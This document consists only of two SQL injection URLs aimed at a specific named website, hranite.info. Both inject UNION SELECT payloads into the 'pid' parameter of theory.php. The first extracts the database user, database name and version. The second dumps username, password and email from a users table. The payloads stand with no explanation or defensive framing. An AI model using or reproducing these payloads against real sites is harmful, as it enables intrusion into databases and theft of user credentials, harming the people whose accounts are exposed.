http://www.hranite.info/theory.php?pid=-25+UNION+SELECT+1,2,concat(user(),0x3a,database(),0x3a,version()),4,5,6,7/*
http://www.hranite.info/theory.php?pid=-25+UNION+SELECT+1,2,concat(username,0x3a,password,0x3a,email),4,5,6,7+FROM+users+LIMIT+0,1/*